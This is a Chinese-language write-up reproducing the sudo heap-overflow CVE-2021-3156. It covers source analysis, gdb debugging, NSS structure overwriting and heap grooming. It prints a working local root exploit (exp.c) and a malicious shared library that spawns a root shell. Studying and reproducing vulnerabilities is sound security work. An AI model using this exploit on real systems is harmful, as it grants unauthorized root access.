CVE-2021-3156
CVE-2021-3156 sudo 提权漏洞，复现过程总结
复现环境
- 系统：Ubuntu 20.04
- sudo: sudo-1.8.31
源码下载：https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz
漏洞分析
可以参照一下官方的修复方式：
https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
找到 1.8.31 版本源码的漏洞位置如下：
//plugins/sudoers/sudoers.c
//set_cmnd()
......
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
......
845
846 /* set user_args */
847 if (NewArgc > 1) {
848 char *to, *from, **av;
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
860 * When running a command via a shell, the sudo front-end
861 * escapes potential meta chars. We unescape non-spaces
862 * for sudoers matching and logging purposes.
863 */
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\0';
873 } else
......在 set_cmnd 函数，看到 866 行处，以 \ 开头下一个字符不是空格，那么就认为是转义字符，from++ 跳过字符 \，但是没有考虑到下一个字符是 \0 的情况，如果下一个字符是 \0，那么 *to = *from++ 就写入 \0 字符，下一次循环条件判断成立，则继续往 user_args 里面写入数据，而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块，这就可以造成一个堆溢出的漏洞
最后一个参数后面就是环境变量的位置，所以只要最后一个参数以一个 \ 结尾，那么就可以通过控制环境变量，堆溢出写入任意数据
同时看到 819 行处，触发漏洞需要设置 MODE_RUN，MODE_EDIT，MODE_CHECK 中的一个，858 行处，要求设置 MODE_SHELL 或 MODE_LOGIN_SHELL
想要触发漏洞，还要先看看下面这段代码：
//src/parse_args.c
//parse_args()
......
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
574
575 if (argc != 0) {
576 /* shell -c "command" */
577 char *src, *dst;
578 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
579 strlen(argv[argc - 1]) + 1;
580
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
582 if (cmnd == NULL)
583 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
584 if (!gc_add(GC_PTR, cmnd))
585 exit(1);
586
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
596 if (cmnd != dst)
597 dst--; /* replace last space with a NUL */
598 *dst = '\0';
599
600 ac += 2; /* -c cmnd */
601 }
......
在处理命令行参数的时候，设置了 MODE_RUN 和 MODE_SHELL 的情况下，会对命令行参数进行重写，把所有元字符包括 \ 都转义了，也就是单个反斜杠变成了两个反斜杠，导致后面的漏洞无法触发
总结一下：
MODE_RUN和MODE_SHELL不能都设置，因为在 sudo 程序的parse_args函数里会对反斜杠进行转义，导致漏洞无法触发- 触发漏洞需要设置
MODE_RUN，MODE_EDIT，MODE_CHECK中的一个，同时要设置MODE_SHELL或MODE_LOGIN_SHELL
那么 MODE_RUN 是不可以设置的，因为一旦设置 MODE_RUN，触发漏洞条件需要 MODE_SHELL，而 MODE_RUN 和 MODE_SHELL 同时存在会导致 parse_args 对反斜杠进行转义，导致漏洞无法触发
那么就要设置 MODE_EDIT 或者 MODE_CHECK，同时不能设置 MODE_RUN
设置 MODE_EDIT 使用 -e，MODE_LOGIN_SHELL 使用 -i，MODE_SHELL 使用 -s，对应源码如下：
//src/parse_args.c
......
358 case 'e':
359 if (mode && mode != MODE_EDIT)
360 usage_excl(1);
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
......
402 case 'i':
403 sudo_settings[ARG_LOGIN_SHELL].value = "true";
404 SET(flags, MODE_LOGIN_SHELL);
405 break;
......
460 case 's':
461 sudo_settings[ARG_USER_SHELL].value = "true";
462 SET(flags, MODE_SHELL);
463 break;
......MODE_CHECK 在这里设置，使用 -l
//src/parse_args.c
......
416 case 'l':
417 if (mode) {
418 if (mode == MODE_LIST)
419 SET(flags, MODE_LONG_LIST);
420 else
421 usage_excl(1);
422 }
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;
......
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
......那么有以下几种选择：
-s -e-i -e-s -l-i -l
但是，-e 和 -l，都会导致 valid_flags 的改变，最后在 532 行处，导致程序退出，所以上面的 4 种方式都无效
//src/parse_args.c
......
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
......
249 int valid_flags = DEFAULT_VALID_FLAGS;
......
532 if ((flags & valid_flags) != flags)
533 usage(1);
......查看源码还发现一处地方：
//src/parse_args.c
......
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
......当程序的名字是 sudoedit 时，会设置 MODE_EDIT，而不会去修改 valid_flags，那么就可以达成漏洞利用的条件，这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因
那么只需要用 sudoedit -s xxx，就可以设置 MODE_EDIT 和 MODE_SHELL，而不设置 MODE_RUN 了
调试分析
调试前准备
使用源码编译的程序进行调试，编译后创建一个链接 sudoedit 到 sudo，或者改名 sudo 为 sudoedit（ubuntu 中的 sudoedit 其实是 sudo 的一个软链接），权限改为 root，并加上 sid 权限
poc
为了更好操控 sudo 程序的环境变量，采用 execve 函数来执行 sudoedit，这里写一个 poc.c:
//poc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_ENVP 0x1000
char *envp[MAX_ENVP];
int main(int argc, const char * const argv[]) {
char a1[65536];
memset(a1, 'A', 65535);
a1[65535] = '\x00';
char *s_argv[] = { //命令行参数
"sudoedit", "-s", "\\", a1, NULL
};
int envp_pos = 0;
envp[envp_pos++] = NULL; //环境变量
execve("/path/to/sudoedit", s_argv, envp);
return 0;
}调试开始
使用 sudo gdb ./poc，执行 catch exec 跟踪 execve，r 命令运行
setlocale 是 sudo 程序开头调用的函数，在这下断点，断下后 finish 即可进入 sudo 的 main 函数
要注意的是，进入 main 函数后，最好删除 setlocale 的断点，以免后续的调用影响跟踪调试
使用 b 213 下断点在 213 行处：
......
212 /* Load plugins. */
213 if (!sudo_load_plugins(&policy_plugin, &io_plugins))
214 sudo_fatalx(U_("fatal error, unable to load plugins"));
......n 命令步过，加载完 sudoers.so 库后，使用命令 b set_cmnd 在 set_cmnd 函数下断点，c 继续运行，来到断点处，并在 854 行下断点，继续运行
......
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
......user_args 的大小为 0x10002 即 65538 （"\\" + "A" * 65535 + 2），并记录 user_args 的 chunk 地址为 0x55555558faa0
跟踪来到漏洞点处：
来到 870 处：
此时可以发现没有溢出，因为此时只复制了反斜杠字符后面的 \0，以及后面的 65535 个 A，本身 chunk 的大小是足够的
但是，for 循环继续运行，"A" * 65535 又开始继续往后覆盖，此时溢出就出现了
可以看到，溢出把下一个 chunk 的 size 字段都改了，后面 malloc 的时候触发 abort，导致程序异常退出了
漏洞利用
此时可以知道几点：
- user_args 的大小可以由命令行参数控制
- 命令行参数中出现单个反斜杠字符结尾，则会导致堆溢出
- 若单个反斜杠结尾出现在最后一个命令行参数，那么溢出的内容就是紧接着的环境变量，完全可控
- 单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入
\0
NSS（Name Service Switch）
目前公开的 exp 大都利用了 NSS（Name Service Switch）机制，这里简述 NSS 的机制
首先是根据 /etc/nsswitch.conf 内容（例如下面这个），初始化链式的 name_database_entry 结构体
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nisname_database_entry 结构体定义如下：
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;name 字段就是 group，shadow 这些字符串，然后以 next 字段链接起来形成链表
后面的 files systemd 是 service_user 结构体的 name 字段，定义如下：
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;需要使用服务的时候，如果库未加载，则会调用 nss_load_library 函数加载动态链接库
在 set_cmnd 函数结束后，sudoers_lookup 会调用 nss_load_library 函数，源码如下：
//glibc/nss/nsswitch.c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
# ifdef USE_NSCD
else if (is_nscd)
{
/* Call the init function when nscd is used. */
size_t initlen = (5 + strlen (ni->name)
+ strlen ("_init") + 1);
char init_name[initlen];
/* Construct the init function name. */
__stpcpy (__stpcpy (__stpcpy (init_name,
"_nss_"),
ni->name),
"_init");
/* Find the optional init function. */
void (*ifct) (void (*) (size_t, struct traced_file *))
= __libc_dlsym (ni->library->lib_handle, init_name);
if (ifct != NULL)
{
void (*cb) (size_t, struct traced_file *) = nscd_init_cb;
# ifdef PTR_DEMANGLE
PTR_DEMANGLE (cb);
# endif
ifct (cb);
}
}
# endif
}
return 0;
}最主要的是，当 ni->library->lib_handle == NULL 成立后，会执行 dlopen 加载动态链接库：
......
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
......前面有 ni->library == NULL 时执行 nss_new_service 返回的 library->lib_handle 就是 NULL
且 service_user 结构体刚好在堆上，只要溢出覆盖一个 service_user 结构体，伪造 name 字段为 X/X，library 字段为 NULL，那么后续调用 nss_load_library 时就会调用 __libc_dlopen("libnss_X/X.so.xx") 加载自己写的动态链接库
只要动态链接库写个 constructor 函数，执行 shell，即可提权
这里有一点，大部分文章都没提到（也可能是默认大家都知道了）：为什么一定要覆盖 name 成 X/X 的形式，而不是 X 的形式？
这可以从 dlopen 的 man 手册中找到答案：
......
If filename is NULL, then the returned handle is for the main program. If filename contains a slash ("/"), then it is
interpreted as a (relative or absolute) pathname. Otherwise, the dynamic linker searches for the object as follows
(see ld.so(8) for further details):
......大概意思是，filename 参数只有存在 / 的时候，才会有可能被当作相对路径，没有 / 的时候，会去 PATH 等环境变量指向的地方找对应的库文件，为了方便，使用相对路径的方式，所以使用 X/X 的形式
service_user 结构体分布
gdb 上使用 search -s systemd 可以找到 service_user 等结构体
可以看到 passwd 的 name_database_entry，的 service 字段指向了一条链表，链表上是 files -> systemd 的 service_user 结构体
那么只要覆盖这两个 service_user 中的一个就可以了，覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了，破坏了链表就不行了，所以选择覆盖前面的那个 service_user，同时不能把前面的 name_database_entry 结构体也破坏了
实际情况下，在漏洞点之前会先后从堆上分配下面这些结构体：
passwd(name_database_entry)
files(service_user)
systemd(service_user)
group(name_database_entry)
files(service_user)
systemd(service_user)
...只要 user_args 位于 name_database_entry 和 service_user 之间，即可覆盖 service_user 而不会破坏 name_database_entry 了
堆布局
通过调试发现，在我的复现环境下，一般情况下 user_args 都位于 service_user 之后，根据目前公开的方式，利用程序开头的 setlocale 函数，对 LC_MESSAGES，LC_ALL 等环境变量，都会有多次的堆块分配与释放，影响堆块布局的情况，使得 user_args 分配时，得到的刚好是 setlocale 中 free 进 tcache 的 chunk，因为 setlocale 函数的调用在 service_user 等结构体分配之前，那么 user_args 就能分布在 service_user 结构体之前
比如，环境变量使用 LC_ALL=C.UTF-8@AAAA，@ 字符后面的 AAAA 将会在 setlocale 里分配 chunk 进行存储，之后会释放
调试
经过多次测试，exp 如下，下面使用这个 exp 进行一下调试，说明为什么要这么写：
//exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_ENVP 0x1000
#define LC_ENV1 "LC_ALL=C.UTF-8@"
#define LC_ENV2 "LC_CTYPE=C.UTF-8@"
char *envp[MAX_ENVP];
int main(int argc, const char * const argv[]) {
char paddingA[0x200] = { 0 };
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
char *s_argv[] = {
"sudoedit", "-s", paddingA, NULL
};
int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}
for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}
envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";
char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
/*
char *LC2 = calloc(0x1000, 1);
strcpy(LC2, LC_ENV2);
memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90);
*/
envp[envp_pos++] = LC1;
//envp[envp_pos++] = LC2;
envp[envp_pos++] = 0;
execve("/path/to/sudoedit", s_argv, envp);
//execve("/usr/bin/sudoedit", s_argv, envp);
return 0;
}首先看到这里
......
char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
......调试来到 user_args 分配前，查看 heap 情况，存储 0xc0 个 X 的 chunk 在这里：
同时也可以看到，这个 chunk 的大小并不是 0xc0，而是比 0xc0 要大得多的 0x1a0，和参考的一些文章的说法不太一样
同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间：
注意：实际上 set_cmnd 调用后，会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library 的调用，所以图中使用的是 group 的链
exp 这里的 0x190-2 就是为了控制命令行参数的长度，使得 user_args 的分配调用 malloc(0x190) 从而分配到上面提到的 chunk：
......
char paddingA[0x200];
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
......溢出点到要覆盖 service_user 的偏移为 +0xb10：
命令行参数本身有 0x190-1 长的数据复制进了 to，那么只需要连续 0xb10 - 0x190 + 1 多的反斜杠即可连续写入 \0，直到目标 service_user 结构体，再继续覆写 0x30 长度的数据，即可到达 name 字段，这就是对下面这部分代码的解释：
......
int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}
for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}
envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";
......这里覆盖 name 为 x/xi4oyu，那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2 ，代码如下：
//mkdir libnss_x && gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[!!!] pwn!\n");
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}利用成功！
小结
堆布局的方式比较复杂，其中这一句：
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);至于 0xc0 这个值是怎么来的？本人是 从 0 开始间隔 0x10 递增，观察堆的情况，一步步地测出来的
目前公开的文章也并没有做一个很好的解释，具体怎么回事，还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了，写得比较好的 exp 是 blasty 的 exp，其中提供了一个爆破脚本，就是为了测出这个合适的值
总结
这是我接触的第一个 CVE，漏洞原理相对还是比较简单的，从中也学到了 NSS 这个十分有意思的机制
最近在学 v8 的漏洞利用，下一次复现的就是 v8 的 CVE 了，加油！
参考
- https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- https://ama2in9.top/2021/02/04/cve-2021-3156/
- https://mp.weixin.qq.com/s/zyeCBsLNRVdg2ckFnOXENg
- https://www.anquanke.com/post/id/231077
- https://www.jianshu.com/p/18f36f1342b3
- https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
- https://github.com/blasty/CVE-2021-3156